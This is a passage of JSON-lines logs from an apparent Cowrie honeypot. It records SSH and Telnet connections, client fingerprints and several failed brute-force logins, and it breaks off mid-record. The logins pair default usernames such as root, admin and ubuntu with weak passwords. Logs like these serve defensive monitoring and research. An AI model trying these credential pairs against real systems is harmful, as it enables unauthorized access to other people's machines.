{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:46.170205Z","src_ip":"103.77.175.15","session":"f809dce91dd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:46.427231Z","src_ip":"103.77.175.15","session":"f809dce91dd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789a1","message":"login attempt [root/123456789a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:47.203227Z","src_ip":"103.77.175.15","session":"f809dce91dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:48.463390Z","src_ip":"103.77.175.15","session":"f809dce91dd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.49118781089783,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:22:49.427462Z","src_ip":"69.4.83.194","session":"be5604e14274","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":38224,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a903da73aed","protocol":"ssh","message":"New connection: 103.237.144.204:38224 (159.203.135.109:22) [session: 5a903da73aed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:06.374665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:06.383160Z","src_ip":"103.237.144.204","session":"5a903da73aed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:06.636106Z","src_ip":"103.237.144.204","session":"5a903da73aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":42984,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b84626ba627","protocol":"telnet","message":"New connection: 178.128.93.180:42984 (10.17.0.5:23) [session: 3b84626ba627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:07.535195Z"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser2025","message":"login attempt [devuser/devuser2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:07.662976Z","src_ip":"103.237.144.204","session":"5a903da73aed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:08.915238Z","src_ip":"103.237.144.204","session":"5a903da73aed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52908,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1f19195ff44","protocol":"telnet","message":"New connection: 69.4.83.194:52908 (159.203.135.109:23) [session: c1f19195ff44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:12.749755Z"}
{"eventid":"cowrie.session.closed","duration":79.81787323951721,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:14.300874Z","src_ip":"178.128.93.180","session":"516c25489079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54472,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1794a0e304f","protocol":"telnet","message":"New connection: 69.4.83.194:54472 (159.203.135.109:23) [session: a1794a0e304f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:16.757181Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54818,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f47c821b380","protocol":"telnet","message":"New connection: 69.4.83.194:54818 (159.203.135.109:23) [session: 2f47c821b380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:17.690776Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55378,"dst_ip":"159.203.135.109","dst_port":23,"session":"653c7c3e78bf","protocol":"telnet","message":"New connection: 69.4.83.194:55378 (159.203.135.109:23) [session: 653c7c3e78bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:20.036615Z"}
{"eventid":"cowrie.session.closed","duration":34.74429416656494,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:20.887449Z","src_ip":"69.4.83.194","session":"dc629128d1b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.03151178359985,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:29.586116Z","src_ip":"178.128.93.180","session":"3772d0a2d6f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59554,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5dddd7d62c4","protocol":"telnet","message":"New connection: 69.4.83.194:59554 (159.203.135.109:23) [session: a5dddd7d62c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:30.759236Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60894,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a528ab827c3","protocol":"telnet","message":"New connection: 69.4.83.194:60894 (159.203.135.109:23) [session: 8a528ab827c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:33.272794Z"}
{"eventid":"cowrie.session.closed","duration":35.382789850234985,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:48.132434Z","src_ip":"69.4.83.194","session":"c1f19195ff44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23804450035095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:50.928661Z","src_ip":"69.4.83.194","session":"2f47c821b380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.299373149871826,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:51.056420Z","src_ip":"69.4.83.194","session":"a1794a0e304f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4879846572876,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:53.524477Z","src_ip":"69.4.83.194","session":"653c7c3e78bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":47208,"dst_ip":"10.17.0.5","dst_port":23,"session":"72f281b7304c","protocol":"telnet","message":"New connection: 178.128.93.180:47208 (10.17.0.5:23) [session: 72f281b7304c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:23:59.125686Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":51158,"dst_ip":"159.203.135.109","dst_port":22,"session":"18e8bf87bfa1","protocol":"ssh","message":"New connection: 35.225.56.202:51158 (159.203.135.109:22) [session: 18e8bf87bfa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:00.678694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:00.683559Z","src_ip":"35.225.56.202","session":"18e8bf87bfa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:00.719357Z","src_ip":"35.225.56.202","session":"18e8bf87bfa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234!@#$","message":"login attempt [admin/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:00.893095Z","src_ip":"35.225.56.202","session":"18e8bf87bfa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:01.932550Z","src_ip":"35.225.56.202","session":"18e8bf87bfa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.64786124229431,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:06.406959Z","src_ip":"69.4.83.194","session":"a5dddd7d62c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0850715637207,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:09.357772Z","src_ip":"69.4.83.194","session":"8a528ab827c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.142","src_port":60176,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc9ce2dd92f1","protocol":"ssh","message":"New connection: 14.103.117.142:60176 (159.203.135.109:22) [session: fc9ce2dd92f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:13.019708Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":36406,"dst_ip":"159.203.135.109","dst_port":22,"session":"4031e563d0b5","protocol":"ssh","message":"New connection: 182.52.90.106:36406 (159.203.135.109:22) [session: 4031e563d0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:15.918350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:15.923428Z","src_ip":"182.52.90.106","session":"4031e563d0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:16.186787Z","src_ip":"182.52.90.106","session":"4031e563d0b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.245.246.50","src_port":45958,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa40c420fc29","protocol":"ssh","message":"New connection: 156.245.246.50:45958 (10.17.0.5:22) [session: fa40c420fc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:16.393130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:16.398497Z","src_ip":"156.245.246.50","session":"fa40c420fc29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:16.601033Z","src_ip":"156.245.246.50","session":"fa40c420fc29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filip","password":"filip123","message":"login attempt [filip/filip123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:17.269582Z","src_ip":"182.52.90.106","session":"4031e563d0b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe","message":"login attempt [ubuntu/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:17.438679Z","src_ip":"156.245.246.50","session":"fa40c420fc29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.02002882957458,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:17.555079Z","src_ip":"178.128.93.180","session":"3b84626ba627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:18.539626Z","src_ip":"182.52.90.106","session":"4031e563d0b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:18.643456Z","src_ip":"156.245.246.50","session":"fa40c420fc29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":54020,"dst_ip":"159.203.135.109","dst_port":23,"session":"89502ad678db","protocol":"telnet","message":"New connection: 69.4.83.194:54020 (159.203.135.109:23) [session: 89502ad678db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:29.378540Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":57420,"dst_ip":"10.17.0.5","dst_port":22,"session":"582c3f963e6b","protocol":"ssh","message":"New connection: 62.133.62.83:57420 (10.17.0.5:22) [session: 582c3f963e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:38.777316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:38.781650Z","src_ip":"62.133.62.83","session":"582c3f963e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:38.860743Z","src_ip":"62.133.62.83","session":"582c3f963e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01041988","message":"login attempt [root/01041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:39.098191Z","src_ip":"62.133.62.83","session":"582c3f963e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:40.179499Z","src_ip":"62.133.62.83","session":"582c3f963e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":39266,"dst_ip":"159.203.135.109","dst_port":22,"session":"20ec7b5715b4","protocol":"ssh","message":"New connection: 103.237.144.204:39266 (159.203.135.109:22) [session: 20ec7b5715b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:40.680302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:40.685437Z","src_ip":"103.237.144.204","session":"20ec7b5715b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25